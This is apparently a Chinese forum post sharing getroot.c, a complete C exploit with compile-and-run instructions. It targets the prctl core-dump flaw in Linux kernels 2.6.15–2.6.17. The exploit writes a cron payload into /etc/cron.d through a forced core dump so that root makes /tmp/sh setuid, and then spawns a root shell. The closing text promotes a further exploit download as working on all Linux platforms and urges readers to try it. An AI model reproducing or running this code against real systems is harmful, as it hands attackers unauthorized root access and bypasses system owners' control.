正文]：

/*
 *getroot.c
 * 2006/11/08 Linux 2.6.15 Exp
 * Modified by gz1X <gz1X@tom.com>
 * Thx to:
 * [*]Marco Ivaldi  <raptor@0xdeadbeef.info>
 * [*]Julien TINNES
 *
 * Usage:
 * $ gcc getroot.c -o getroot -Wall
 * $ ./getroot
 *
 * test on dubuntu 2.6.15-23-686
 * theoretically it will work on 2.6.15-2.6.17
 */
#include <stdio.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root    chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {

    int id,i;
    struct rlimit   corelimit={RLIM_INFINITY, RLIM_INFINITY};
    system("cp /bin/sh /tmp/sh");
    setrlimit(RLIMIT_CORE, &corelimit);

    if ( !( id = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }
    kill(id, SIGSEGV);

    fprintf(stderr, "Getting the root shell.Please wait...\n");
    for (i = 0; i < 120; i++) {
        fprintf(stderr, ".");
        sleep(1);
    }
    fprintf(stderr,"\n");       
    system("/tmp/sh");
    return 1;   
}

[*[下载]：

附上Julien TINNES的攻击源代码，大家可以尝试之。攻击效果非常好。各种linux平台都没问题。

Julien TINNES-exp.zip 
just enjoy!
:-)